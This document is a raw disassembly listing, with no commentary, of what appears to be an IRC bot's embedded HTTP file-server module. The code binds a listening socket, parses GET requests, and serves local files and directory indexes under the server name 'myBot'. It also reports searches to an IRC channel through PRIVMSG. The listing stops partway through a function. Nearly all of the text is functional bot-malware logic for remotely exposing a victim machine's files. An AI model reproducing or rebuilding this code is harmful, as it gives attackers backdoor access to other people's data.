arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 27F0h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_413890
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_44CCDC	; ntohs
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_44CD58	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_404CDC
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 134h
		mov	dword_452134[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_44CD08	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CDC
		push	7FFFFFFFh
		push	edi
		call	dword_44CD04	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CDC
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_44CD74	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CDC
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_4049C8:				; CODE XREF: sub_4048F1+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_44CCC4	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CD7
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_4049FE:				; CODE XREF: sub_4048F1+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_44CBE4	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404CC2
		cmp	esi, [ebp+var_C]
		jnz	short loc_404A80
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_44CD6C	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404CC2
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404A52
		lea	edx, [ebp+var_134]


loc_404A46:				; CODE XREF: sub_4048F1+15Fj
		cmp	[edx], eax
		jz	short loc_404A52
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_404A46


loc_404A52:				; CODE XREF: sub_4048F1+14Dj
					; sub_4048F1+157j
		cmp	ecx, ebx
		jnz	short loc_404A6F
		cmp	ebx, 40h
		jnb	short loc_404A6F
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_404A6F:				; CODE XREF: sub_4048F1+163j
					; sub_4048F1+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_404CC2
		mov	[ebp+var_8], eax
		jmp	loc_404CC2
; ---------------------------------------------------------------------------


loc_404A80:				; CODE XREF: sub_4048F1+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_27F0]
		push	edi
		push	0
		push	eax
		call	sub_413890
		push	edi
		lea	eax, [ebp+var_17F0]
		push	0
		push	eax
		call	sub_413890
		add	esp, 18h
		lea	eax, [ebp+var_27F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_44CCF4	; recv
		test	eax, eax
		jg	short loc_404B13
		push	esi
		call	dword_44CD70	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_404CC2
		lea	eax, [ebp+var_134]


loc_404AD2:				; CODE XREF: sub_4048F1+1EBj
		cmp	[eax], esi
		jz	short loc_404AE3
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404AD2
		jmp	loc_404CC2
; ---------------------------------------------------------------------------


loc_404AE3:				; CODE XREF: sub_4048F1+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_404B07
		lea	eax, [ebp+ecx*4+var_134]


loc_404AF1:				; CODE XREF: sub_4048F1+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404AF1


loc_404B07:				; CODE XREF: sub_4048F1+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_404CC2
; ---------------------------------------------------------------------------


loc_404B13:				; CODE XREF: sub_4048F1+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_413890
		lea	eax, [ebp+var_27F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_413E90
		add	esp, 10h
		test	eax, eax
		jbe	loc_404CC2


loc_404B41:				; CODE XREF: sub_4048F1+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_27F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_17F0], al
		jnz	loc_404BE6
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_17F0]
		push	esi
		push	eax
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404BBA
		lea	eax, [ebp+var_17F0]
		push	eax
		call	sub_413E90
		cmp	eax, 5
		pop	ecx
		jbe	short loc_404BBA
		mov	eax, offset asc_425148 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_17F0]
		push	esi
		push	eax
		call	sub_413DE0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_413DE0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4150A0
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_414FB0
		add	esp, 10h
		jmp	short loc_404BD1
; ---------------------------------------------------------------------------


loc_404BBA:				; CODE XREF: sub_4048F1+27Fj
					; sub_4048F1+291j
		lea	eax, [ebp+var_17F0]
		push	offset asc_425144 ; "\r\n"
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404C05


loc_404BD1:				; CODE XREF: sub_4048F1+2C7j
		push	edi
		lea	eax, [ebp+var_17F0]
		push	0
		push	eax
		call	sub_413890
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_404BE6:				; CODE XREF: sub_4048F1+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_27F0]
		push	eax
		inc	esi
		call	sub_413E90
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_404B41
		jmp	loc_404CC2
; ---------------------------------------------------------------------------


loc_404C05:				; CODE XREF: sub_4048F1+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404C4F
		lea	eax, [ebp+var_134]


loc_404C11:				; CODE XREF: sub_4048F1+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_404C22
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404C11
		jmp	short loc_404C52
; ---------------------------------------------------------------------------


loc_404C22:				; CODE XREF: sub_4048F1+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_404C46
		lea	eax, [ebp+ecx*4+var_134]


loc_404C30:				; CODE XREF: sub_4048F1+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404C30


loc_404C46:				; CODE XREF: sub_4048F1+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_404C52
; ---------------------------------------------------------------------------


loc_404C4F:				; CODE XREF: sub_4048F1+318j
		mov	esi, [ebp+var_4]


loc_404C52:				; CODE XREF: sub_4048F1+32Fj
					; sub_4048F1+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_404CBB
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_413E90
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_413E90
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_404CBB
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_44CD74	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_404ECE
		add	esp, 14h
		jmp	short loc_404CC2
; ---------------------------------------------------------------------------


loc_404CBB:				; CODE XREF: sub_4048F1+369j
					; sub_4048F1+38Fj
		push	esi
		call	dword_44CD70	; closesocket


loc_404CC2:				; CODE XREF: sub_4048F1+11Dj
					; sub_4048F1+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_4049FE
		jmp	loc_4049C8
; ---------------------------------------------------------------------------


loc_404CD7:				; CODE XREF: sub_4048F1+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_404CDC:				; CODE XREF: sub_4048F1+6Aj
					; sub_4048F1+92j ...
		call	dword_44CC78	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_7F0]
		push	offset unk_425100
		push	eax
		call	sub_413812
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_404D22
		push	ebx
		lea	eax, [ebp+var_7F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40B2B5
		add	esp, 14h


loc_404D22:				; CODE XREF: sub_4048F1+40Cj
		lea	eax, [ebp+var_7F0]
		push	eax
		call	sub_409833
		pop	ecx
		push	edi
		call	dword_44CD70	; closesocket
		push	[ebp+var_254]
		call	sub_4135DA
		pop	ecx
		push	ebx
		call	ds:off_41F040
		pop	edi
		pop	esi
		pop	ebx
sub_4048F1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D4C	proc near		; DATA XREF: sub_404ECE+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_413E60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_413812
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_404DB1
		push	offset aTextHtml ; "text/html"
		jmp	short loc_404DB6
; ---------------------------------------------------------------------------


loc_404DB1:				; CODE XREF: sub_404D4C+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_404DB6:				; CODE XREF: sub_404D4C+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_413812
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:off_41F068
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:off_41F064
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_404E2F
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_413812
		add	esp, 24h
		jmp	short loc_404E50
; ---------------------------------------------------------------------------


loc_404E2F:				; CODE XREF: sub_404D4C+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_413812
		add	esp, 28h


loc_404E50:				; CODE XREF: sub_404D4C+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_44CD28	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_404E90
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_405815
		pop	ecx
		pop	ecx
		jmp	short loc_404EAD
; ---------------------------------------------------------------------------


loc_404E90:				; CODE XREF: sub_404D4C+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40517E
		add	esp, 10h


loc_404EAD:				; CODE XREF: sub_404D4C+142j
		push	[ebp+var_44C]
		call	dword_44CD70	; closesocket
		push	[ebp+var_B4]
		call	sub_4135DA
		pop	ecx
		push	edi
		call	ds:off_41F040
		pop	edi
		pop	esi
sub_404D4C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404ECE	proc near		; CODE XREF: sub_4048F1+3C0p

var_7C4		= dword	ptr -7C4h
var_740		= byte ptr -740h
var_63C		= byte ptr -63Ch
var_430		= dword	ptr -430h
var_42C		= dword	ptr -42Ch
var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 7C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_413890
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_404F04
		push	eax
		push	offset off_42540C
		jmp	short loc_404F0D
; ---------------------------------------------------------------------------


loc_404F04:				; CODE XREF: sub_404ECE+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_404F0D:				; CODE XREF: sub_404ECE+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_413E90
		test	eax, eax
		pop	ecx
		jbe	short loc_404FA8
		mov	[ebp+arg_8], 2


loc_404F38:				; CODE XREF: sub_404ECE+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_413E90
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_404F78
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_404F78
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_404F78
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_404F78
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_404F92
; ---------------------------------------------------------------------------


loc_404F78:				; CODE XREF: sub_404ECE+7Aj
					; sub_404ECE+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_404F88
		push	5Ch
		pop	eax
		jmp	short loc_404F8B
; ---------------------------------------------------------------------------


loc_404F88:				; CODE XREF: sub_404ECE+B3j
		movsx	eax, al


loc_404F8B:				; CODE XREF: sub_404ECE+B8j
		mov	[ebp+ebx+var_210], al


loc_404F92:				; CODE XREF: sub_404ECE+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_413E90
		cmp	esi, eax
		pop	ecx
		jb	short loc_404F38


loc_404FA8:				; CODE XREF: sub_404ECE+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_0	; "%s%s"
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_314]
		push	offset asc_4253FC ; "\n"
		push	eax
		call	sub_4150A0
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_41F078	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_404FF6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404FF9
		push	[ebp+arg_0]
		jmp	short loc_405075
; ---------------------------------------------------------------------------


loc_404FF6:				; CODE XREF: sub_404ECE+11Cj
		mov	[ebp+var_4], esi


loc_404FF9:				; CODE XREF: sub_404ECE+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_405006
		mov	[ebp+var_4], esi


loc_405006:				; CODE XREF: sub_404ECE+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_7C4], ebx
		mov	[ebp+var_418], edi
		jz	short loc_405080
		cmp	[ebp+arg_C], edi
		jz	short loc_405074
		lea	eax, [ebp+var_314]
		push	offset asc_4253F8 ; "*"
		push	eax
		call	sub_414FC0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4058D2
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_63C]
		push	eax
		call	sub_413812
		add	esp, 1Ch
		or	[ebp+var_430], 0FFFFFFFFh
		mov	[ebp+var_41C], esi
		jmp	short loc_4050CF
; ---------------------------------------------------------------------------


loc_405074:				; CODE XREF: sub_404ECE+14Fj
		push	ebx


loc_405075:				; CODE XREF: sub_404ECE+126j
		call	dword_44CD70	; closesocket
		jmp	loc_405177
; ---------------------------------------------------------------------------


loc_405080:				; CODE XREF: sub_404ECE+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	ds:dword_41F05C	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050CF
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_740]
		push	eax
		call	sub_413812
		pop	ecx
		mov	[ebp+var_41C], edi
		pop	ecx
		push	edi
		push	esi
		call	ds:off_41F074
		push	esi
		mov	[ebp+var_430], eax
		call	ds:dword_41F058	; CloseHandle


loc_4050CF:				; CODE XREF: sub_404ECE+1A4j
					; sub_404ECE+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_414]
		push	esi
		push	offset unk_4253B4
		push	eax
		call	sub_413812
		push	edi
		lea	eax, [ebp+var_414]
		push	3
		push	eax
		call	sub_4132BE
		mov	[ebp+var_42C], eax
		imul	eax, 134h
		add	esp, 18h
		mov	dword_45212C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_7C4]
		push	edi
		push	eax
		push	offset sub_404D4C
		push	edi
		push	edi
		call	ds:off_41F070
		mov	ecx, [ebp+var_42C]
		imul	ecx, 134h
		cmp	eax, edi
		mov	dword_45213C[ecx], eax
		jz	short loc_405149


loc_405137:				; CODE XREF: sub_404ECE+279j
		cmp	[ebp+var_418], edi
		jnz	short loc_405177
		push	5
		call	ds:dword_41F050	; Sleep
		jmp	short loc_405137
; ---------------------------------------------------------------------------


loc_405149:				; CODE XREF: sub_404ECE+267j
		push	ebx
		call	dword_44CD70	; closesocket
		call	ds:off_41F06C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_425368
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_409833
		add	esp, 10h


loc_405177:				; CODE XREF: sub_404ECE+1ADj
					; sub_404ECE+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_404ECE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40517E	proc near		; CODE XREF: sub_404D4C+159p
					; sub_40CC09+4194p

var_494		= byte ptr -494h
var_390		= byte ptr -390h
var_288		= dword	ptr -288h
var_274		= byte ptr -274h
var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_148		= byte ptr -148h
var_120		= byte ptr -120h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_494]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_413890
		mov	edi, [ebp+arg_0]
		push	offset asc_4253FC ; "\n"
		push	edi
		call	sub_4150A0
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_4051DD
		push	edi
		mov	esi, 0FFh
		push	[ebp+arg_8]
		lea	eax, [ebp+var_120]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 14h
		jmp	loc_4052DA
; ---------------------------------------------------------------------------


loc_4051DD:				; CODE XREF: sub_40517E+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_4052C0
		call	sub_413E90
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 0FFh
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 14h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		push	edi
		call	sub_413E90
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 0Ch
		jmp	short loc_4052DA
; ---------------------------------------------------------------------------


loc_4052C0:				; CODE XREF: sub_40517E+63j
		mov	esi, 0FFh
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 10h


loc_4052DA:				; CODE XREF: sub_40517E+5Aj
					; sub_40517E+140j
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		cmp	[ebp+arg_C], ebx
		jz	short loc_405372
		push	[ebp+arg_C]
		call	sub_413E90
		cmp	eax, 2
		pop	ecx
		jbe	short loc_405372
		push	[ebp+arg_C]
		call	sub_413E90
		sub	eax, 3
		pop	ecx
		jz	short loc_405326


loc_40531A:				; CODE XREF: sub_40517E+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_405326
		dec	eax
		jnz	short loc_40531A


loc_405326:				; CODE XREF: sub_40517E+19Aj
					; sub_40517E+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_494]
		push	[ebp+arg_C]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_494]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_120]
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 1Ch
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send


loc_405372:				; CODE XREF: sub_40517E+17Ej
					; sub_40517E+18Cj
		lea	eax, [ebp+var_288]
		push	eax
		push	edi
		call	ds:off_41F08C
		lea	ecx, [ebp+var_288]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:off_41F088
		test	eax, eax
		jz	loc_405778
		mov	edi, 0FEh


loc_40539E:				; CODE XREF: sub_40517E+5F4j
		cmp	[ebp+var_288], ebx
		jz	loc_405760
		lea	eax, [ebp+var_25C]
		push	offset a__	; ".."
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405760
		lea	eax, [ebp+var_25C]
		push	offset a_	; "."
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_405760
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	ds:off_41F084
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:off_41F080
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_405413
		mov	ecx, offset aAm	; "AM"


loc_405413:				; CODE XREF: sub_40517E+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40541F
		sub	eax, 0Ch


loc_40541F:				; CODE XREF: sub_40517E+29Cj
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_148]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_413812
		add	esp, 20h
		test	byte ptr [ebp+var_288],	10h
		jz	loc_4055D8
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_4054A6
		lea	eax, [ebp+var_25C]
		push	eax
		push	offset aS_1	; "<%s>"
		lea	eax, [ebp+var_390]
		push	106h
		push	eax
		call	sub_413D8A
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_390]
		push	eax
		lea	eax, [ebp+var_120]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_413D8A
		add	esp, 28h
		jmp	loc_405731
; ---------------------------------------------------------------------------


loc_4054A6:				; CODE XREF: sub_40517E+2DEj
		cmp	[ebp+arg_C], ebx
		jz	loc_405593
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_120]
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 10h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
		lea	eax, [ebp+var_25C]
		push	eax
		lea	eax, [ebp+var_120]
		push	[ebp+arg_C]
		push	offset aSS_1	; "%s%s/"
		push	edi
		push	eax
		call	sub_413D8A
		add	esp, 14h
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_120]
		push	eax
		push	[ebp+arg_4]
		call	dword_44CD28	; send
